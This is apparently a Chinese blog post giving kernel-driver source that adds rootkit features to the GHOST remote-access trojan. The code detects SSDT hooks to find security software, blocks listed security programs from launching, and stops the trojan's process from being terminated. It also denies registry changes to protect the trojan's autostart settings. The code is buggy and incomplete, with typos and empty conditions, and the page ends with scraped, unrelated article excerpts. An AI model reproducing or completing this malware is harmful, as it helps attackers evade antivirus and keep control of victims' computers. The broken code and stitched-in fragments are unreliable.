为GHOST木马添加ROOTKIT功能

GHOST远控是比较有名也比较老的一个远控程序了,原版的ghost远控似乎有一个SSDT HOOK功能的模块,当然已经没有什么用处了。这里在GHOST的基础上添加一些ROOTKIT功能,而且随着x64下PG的发展,这里不打算使用传统的HOOK技术,而是用系统回调机制来实现一些功能,其实这些回调机制也已经是ARK的重点关照对象了,这里主要是做练习实用性不是很高。

  1 //驱动模块
  2 #include "winddk.h"
  3 #include "windows.h"
  4 #include <ntifs.h>
  5 #include <windef.h>
  6 //一些方便记忆的宏
  7 #define QUERY_SUCCESS 1 //没有被HOOK
  8 #define QUERY_FAIL 0    //已有HOOK
  9 #define QUERY_ERROR -1    //出错
 10 PVOID pBuffer = 0;
 11
 12 NTSTATUS DriverEntry(PDRIVER_OBJECT MyDriver,
 13     PUNICODE_STRING RegPath)
 14 {
 15     MyDriver->DriverUnload = UnloadFunc;
 16
 17 }
 18 NTSTATUS UnloadFunc(PDRIVER_OBJECT MyDriver)
 19 {
 20     //不要忘记卸载必要资源,以免蓝屏
 21 }
 22
 23
 24
 25 //////////////////////////////
 26 //检测SSDT是否已被挂钩。如果已被挂钩说明有安全类软件存在。
 27 //声明结构
 28 typedef struct ServiceDescriptorEntry {
 29     unsigned int *ServiceTableBase;
 30     unsigned int *ServiceCounterTableBase;
 31     unsigned int NumberOfServices;
 32     unsigned char *ParamTableBase;
 33 } ServiceDescriptorTableEntry_t, *PServiceDescriptorTableEntry_t;
 34
 35 NTSYSAPI NTSTATUS NTAPI ZwQuerySystemInformation(
 36     IN ULONG SystemInformationClass,
 37     IN OUT PVOID SystemInformation,
 38     IN ULONG SystemInformationLength,
 39     OUT PULONG ReturnLength);
 40 // 导入结构地址
 41 __declspec(dllimport)  ServiceDescriptorTableEntry_t KeServiceDescriptorTable;
 42 DWORD QuerySSDTHook(DWORD *IdNumbers)
 43 {
 44     DWORD SSDT_ID = 0,Numbers=0;
 45     DWORD FuncAdress = 0;
 46     DWORD NtHighAdress = 0;
 47     DWORD NtLowAdress = 0;
 48     memset(IdNumbers, 0, sizeof(IdNumbers));
 49     pBuffer = ExAllocatePoolWithTag(PagedPool,
 50             0x10000,
 51             "Tag1");
 52     if (!NT_SUCCESS(pBuffer))
 53     {
 54         return QUERY_ERROR;
 55     }
 56     NTSTATUS Status=ZwQuerySystemInformation(SystemModuleInformation,
 57         pBuffer,
 58         0x10000,
 59         NULL);
 60     if (!NT_SUCCESS(Status))
 61     {
 62         return QUERY_ERROR;
 63     }
 64     NtHighAdress = (DWORD)((PSYSTEM_MODULE_INFORMATION)pBuffer)->Module[0].Base;
 65     NtLowAdress = (DWORD)((PSYSTEM_MODULE_INFORMATION)pBuffer)->Module[0].Size + NtHighAdress;
 66     for (;;)
 67     {
 68         FuncAdress=(DWORD)KeServiceDescriptorTable.ServiceTableBase[SSDT_ID];
 69         if (!FuncAdress)
 70         {
 71             break;
 72         }
 73         if (FuncAdress>NtHighAdress||FuncAdress<NtLowAdress)
 74         {
 75             IdNumbers[Numbers] = SSDT_ID;
 76             Numbers++;
 77         }
 78         SSDT_ID++;
 79     }
 80     return Numbers == 0 ? QUERY_SUCCESS : QUERY_FAIL;
 81
 82 }
 83 VOID FreeQuerySSDTHook(void)
 84 {
 85     ExFreePoolWithTag(pBuffer, "Tag1");
 86 }
 87
 88
 89 ///////////////////////////////////////////////////////
 90 //自我保护功能
 91 //1.设置进程事件通知,检测安全软件运行
 92 //2.注册进程对象回调,检查对本进程对象的操作
 93 //3.设置关机回调检测自启动设置
 94 //4.设置注册表事件通知,保护我的设置值
 95 NTKERNELAPI PCHAR PsGetProcessImageFileName(PEPROCESS Process);
 96 NTSTATUS SelfProtection()
 97 {
 98     NTSTATUS obst1=0;
 99     LARGE_INTEGER CallbackCookie = { 0 };
100     OB_CALLBACK_REGISTRATION obReg;
101     OB_OPERATION_REGISTRATION opReg;
102     memset(&obReg, 0, sizeof(obReg));
103     obReg.Version = ObGetFilterVersion();
104     obReg.OperationContext = NULL;
105     obReg.RegistrationContext = NULL;
106     RtlInitUnicodeString(&obReg.Altitude, L"321124");
107     obReg.OperationRegistration = &opReg;
108     memset(&opReg, 0, sizeof(&opReg));
109     opReg.ObjectType = PsProcessType;
110     opReg.Operations = OB_OPERATION_HANDLE_CREATE | OB_OPERAION_HANDLE_DUPLICATE;
111     opReg.PreOperation = (POB_PRE_OPERATION_CALLBACK)&ProccessProtectCallBack;
112     //保护自身进程对象不被打开
113     obst1 = ObRegisterCallbacks(&obReg, &obHandle);
114     //阻止安全软件运行
115     PsSetCreateProcessNotifyRoutineEx(
116         (PCREATE_PROCESS_NOTIFY_ROUTINE_EX)MyProcessNotifyRoutine,
117         FALSE);
118     //保护注册表
119     CmRegisterCallback(MyRegCallback,
120         NULL,
121         &CallbackCookie);
122 }
123 VOID MyProcessNotifyRoutine(PEPROCESS Process,
124     HANDLE ProcessID,
125     PPS_CREATE_NOTIFY_INFO ProcessInfo
126     )
127 {
128     char *EnemyName[20] = {0};
129     char NameBuffer[20] = "";
130     BOOL YesOrNo = 0;
131     strcpy(NameBuffer, PsGetProcessImageFileName(Process));
132     if (ProcessInfo==NULL)
133     {
134         return;
135     }
136     for (int i=0;;i++)
137     {
138         if (EnemyName[i]==0)
139         {
140             break;
141         }
142         if (!stricmp(NameBuffer,EenmyName[i]))
143         {
144             YesOrNo = 1;
145         }
146     }
147     if (!YesOrNo)
148     {
149         //不是敏感进程,直接结束回调函数
150         return;
151     }
152     ProcessInfo->CreationStatus = STATUS_UNSUCCESSFUL;
153     return;
154 }
155 BOOL IsProtectedProcessName(PEPROCESS MyEprocess)
156 {
157     if (!stricmp("MyProcessName",PsGetProcessImageFileName(MyEprocess)))
158     {
159         return 0;
160     }
161     return 1;
162 }
163
164 OB_PREOP_CALLBACK_STATUS ProcessProtectCallBack(PVOID RegContext,
165     POB_PRE_OPERATION_INFORMATION pOperationInformation)
166 {
167     if (p0perationInformation->ObjectType!=*PsProcessType)
168     {
169         return OB_PREOP_SUCCESS;
170     }
171     if (IsProtectedProcessName((PEPROCESS)pOperationInformation->Object))
172     {
173         if (pOperationInformation->Operation == OB_OPERATION_HANDLE_CREATE)
174         {
175             if ((pOperationInformation->Parameters->CreateHandleInformation.OriginalDesiredAccess&
176                 PROCESS_TERMINATE)==PROCESS_TERMINATE)
177             {
178                 pOperationInformation->Parameters->CreateHandleInformation.DesiredAccess &= ~PROCESS_TERMINATE;
179             }
180         }
181         if (pOperationInformation->Operation == OB_OPERATION_HANDLE_DUPLICATE)
182         {
183             if ((pOperationInformation->Parameters->CreateHandleInformation.OriginalDesiredAccess&
184                 PROCESS_TERMINATE) == PROCESS_TERMINATE)
185             {
186                 pOperationInformation->Parameters->CreateHandleInformation.DesiredAccess &= ~PROCESS_TERMINATE;
187             }
188         }
189     }
190     return OB_PREOP_SUCCESS;
191 }
192
193 BOOL ObejctToRegName(OUT PUNICODE_STRING RegPath,
194     IN PVOID RegObject)
195 {
196     NTSTATUS Status1 = 0;
197     PUNICODE_STRING TempRegPath = 0;
198     ULONG Length = 0;
199     if (!RegPath)
200     {
201         return FALSE;
202     }
203     if (!MmIsAdressValid(RegObject)||(RegObject==NULL))
204     {
205         return FALSE;
206     }
207     Status1 = ObQueryNameString(RegObject, (POBJECT_NAME_INFORMATION)TempRegPath, 0, OUT &Length);
208     if (Status1==STATUS_INFO_LENGTH_MISMATCH)
209     {
210         TempRegPath = ExAllocatePoolWithTag(NonPagedPool, Length, TAG2);
211         Status1 = ObQueryNameString(RegObject, (POBJECT_NAME_INFORMATION)TempRegPath, Length, &Length);
212         if (NT_SUCCESS(Status1))
213         {
214             RtlCopyUnicodeString(RegPath, TempRegPath);
215             ExFreePoolWithTag(TempRegName, TAG2);
216             return TRUE;
217         }
218     }
219     return FALSE;
220 }
221
222 NTSTATUS MyRegCallback(PVOID CallbackContext,
223     PVOID atg1,
224     PVOID arg2)
225 {
226     char *ProcessName = 0;
227     LONG Type = 0;
228     Type = (REG_NOTIFY_CLASS)arg1;
229     UNICODE_STRING RegPath = { 0 };
230     RegPath.MaximumLength = 2048 * sizeof(WCHAR);
231     RegPath.Buffer = ExAllocatePoolWithTag(NonPagedPool, 2048 * sizeof(WCHAR), TAG1);
232     if (!RegPath.Buffer)
233     {
234         return STATUS_SUCCESS;
235     }
236     switch (Type)
237     {
238     case RegNtPreDeleteKey:
239     {
240         ProcessName = PsGetProcessImageFileName(PsGetCurrentProcess());
241         ObejctToRegName(&RegPath, ((PREG_DELETE_KEY_INFORMATION)arg2)->Object);
242         if (/*此处放置要保护的键*/)
243         {
244             ExFreePoolWithTag(RegPath.Buffer,TAG1);
245             return STATUS_ACCESS_DENIED;
246         }
247         ExFreePoolWithTag(RegPath.Buffer, TAG1);
248         return STATUS_SUCCESS;
249     }
250     case RegNtPreSetValueKey:
251         ProcessName = PsGetProcessImageFileName(PsGetCurrentProcess());
252         ObejctToRegName(&RegPath, ((PREG_SET_VALUE_KEY_INFORMATION)arg2)->Object);
253         if (/*TIAOJIAN*/)
254         {
255             ExFreePoolWithTag(RegPath.Buffer, TAG1);
256             return STATUS_ACCESS_DENIED;
257         }
258         ExFreePoolWithTag(RegPath.Buffer, TAG1);
259         return STATUS_SUCCESS;
260     case RegNtPreDeleteValueKey:
261         ProcessName = PsGetProcessImageFileName(PsGetCurrentProcess());
262         ObejctToRegName(&RegPath, ((PREG_DELETE_VALUE_KEY_INFORMATION)arg2)->Object);
263         if (TIAOJIAN)
264         {
265             ExFreePoolWithTag(RegPath.Buffer, TAG1);
266             return STATUS_ACCESS_DENIED;
267         }
268         ExFreePoolWithTag(RegPath.Buffer, TAG1);
269         return STATUS_SUCCESS;
270     default:
271         ExFreePoolWithTag(RegPath.Buffer, TAG1);
272         return STATUS_SUCCESS;
273     }
274 }
275
276
277
278
279 ///////////////////////////////////////////////////////////////////
280 //搜索函数,在内核中搜索指定序列,需指定5个字节
281 NTSTATUS FindFuncInTheKernel(IN BYTE *FindBytes, OUT PVOID *Address)
282 {
283     NTSTATUS Status = 0;
284     DWORD NtHighAddress = 0;
285     DWORD NtLowAddress = 0;
286     PVOID pBuffer = 0;
287     if (sizeof(FindBytes)!=5)
288     {
289         return 0XFFFFFFFF;
290     }
291     pBuffer = ExAllocatePoolWithTag(PagedPool,
292             0x10000,
293             Tag3);
294     memset(pBuffer, 0, 0x10000);
295     Status = ZwQuerySystemInformation(SystemModuleInformation,
296         pBuffer,
297         0x10000,
298         NULL);
299     if (!NT_SUCCESS(Status))
300     {
301         return QUERY_ERROR;
302     }
303     NtHighAddress = (DWORD)((PSYSTEM_MODULE_INFORMATION)pBuffer)->Module[0].Base;
304     NtLowAddress = (DWORD)((PSYSTEM_MODULE_INFORMATION)pBuffer)->Module[0].Size + NtHighAdress;
305     for (DWORD i = NtLowAddress; i < NtHighAddress; i++)
306     {
307         BYTE *TempPointer = (PBYTE)i;
308         if (i[0] == FindBytes[0] &&
309             i[1] == FindBytes[1] &&
310             i[2] == FindBytes[2] &&
311             i[3] == FindBytes[3] &&
312             i[4] == FindBytes[4])
313         {
314             *Address = (PVOID)i;
315             ExFreePoolWithTag(pBuffer, Tag3);
316             ///return 成功
317         }
318     }
319     ExFreePoolWithTag(pBuffer, Tag3);
320     //return 失败
321 }
时间: 2024-08-05 08:58:41

为GHOST木马添加ROOTKIT功能的相关文章

跟陈湾来完善C++(2), 添加属性功能

上面几篇文章中,我们添加了名称空间优化,添加事件功能.这些对我来说其实已经够了.但还可以加一个属性功能. 当我们在C++中更改一个属性时,平常都是Get函数加上Set函数,但是这样,没有直接写一个成员变量方便.例如: a.SetValue(a.GetValue() + 1); 没有 a.Value = a.Value + 1; 方便. 但是这种方便只有在调用有属性功能的对象时才能使用.在创建属性的时候我还是用老套路,写一个Get和Set函数,该干啥还是干啥.我的属性功能其实就是在类中添加一个共有

【转】为Android应用添加搜索功能

为Android应用添加搜索功能 为Android应用增加搜索功能:增加搜索建议

修复Bug是重点 iOS9将不注重添加新功能

苹果iOS7系统时发生了界面风格的巨大改变,目前的iOS8也在延续之前的风格,只是进行了功能补充,那么iOS9是否还会继续保持这样的风格呢?据外媒消息,iOS9的确不会再次对风格进行大修大改,而是着重改进稳定性和系统优化. iOS9将不注重添加新功能(图片来自MacWorld) 据外媒从苹果内部工程师处获知,iOS9的主要工作是修复漏洞.保持系统的稳定性,并增强系统性能,并不会特别注重对新功能的开发. 另外,近期苹果因iOS8系统固件体积过大而多次被用户告上法庭,看来是起到了一定效果.据称苹果将

java-第十四章-代参的方法(二)-实现MyShopping系统的添加会员功能

 package com.wxws.sms; public class Customer {  int No;  int integarl; } package com.wxws.sms; public class Customers {  Customer[] customers = new Customer[100];  public void add(Customer cust){   for (int i = 0; i <customers.length; i++) {    if (c

(译)Windsor入门教程---第五部分 添加日志功能

介绍 现在我们已经有了基础的框架了,是时候添加内容了,那么我们首先应该考虑的就是在应用程序中添加日志功能.我们会使用Windsor来配置,在这一部分,你将学习Windsor之外的其他功能. Logging Facility 在上一部分说过,Windsor有很多自带的可选的功能组件,他们扩展了Windsor的即用性.在这一部分,我们将在程序中添加日志功能. Logging Facility提供了一些常用的日志框架比如Log4net.Nlog,以及mvc内置的日志框架Trace.Logging Fa

C#数据层添加事务功能

例子 public bool Save(ProjectModel project) { int Result = 0; SqlConnection Conn = new SqlConnection(SqlHelper.connectionString); Conn.Open(); SqlTransaction Trans; Trans = Conn.BeginTransaction(); try { SqlParameter[] sqlParameter1 = new SqlParameter[

为python 添加新功能-dump

一直觉得thinkphp提供的dump函数挺好用的,但是python里面没有,就一直想着写个简单的. dir是我比较常用的一个内置函数了,但是显示效果实在有点受不了,每次我都要从大量的字符串里找到我需要的,眼都花了. 所以我就想,一行显示一个就好了. 所以我就写了一个模块,命名为dp 1 #!/usr/bin/env python 2 #coding:utf-8 3 4 """ 5 dump variable 6 """ 7 def dump(v

ActiveReports 9 新功能:借助目录(TOC)控件为报表添加目录功能

原文:ActiveReports 9 新功能:借助目录(TOC)控件为报表添加目录功能 在最新发布的ActiveReports 9报表控件中添加了多项新功能,以帮助你在更短的时间里创建外观绚丽.功能强大的报表系统,本文将重点介绍新增文档目录控件(TOC),通过拖拽操作便可添加报表目录. 目录控件可以帮助用户快速的导航到位于报表中希望查看的数据.可以使用目录控件内嵌报表主体的内容列表用于打印和导出.不像文档结构图只能在报表浏览器中查看不能导出或者打印. 本示例被分解为下面的步骤 Visual St

在VC中,为图片按钮添加一些功能提示(转)

在VC中,也常常为一些图片按钮添加一些功能提示.下面讲解实现过程:该功能的实现主要是用CToolTipCtrl类.该类在VC  msdn中有详细说明.首先在对话框的头文件中加入初始化语句:public:下,加入:CToolTipCtrl    m_Mytip;然后在初始化对话框函数中加入:m_Mytip.Create(this);  m_Mytip.AddTool( GetDlgItem(IDC_BUTTON), "你想要添加的提示信息" ); //IDC_BUTTON为你要添加提示信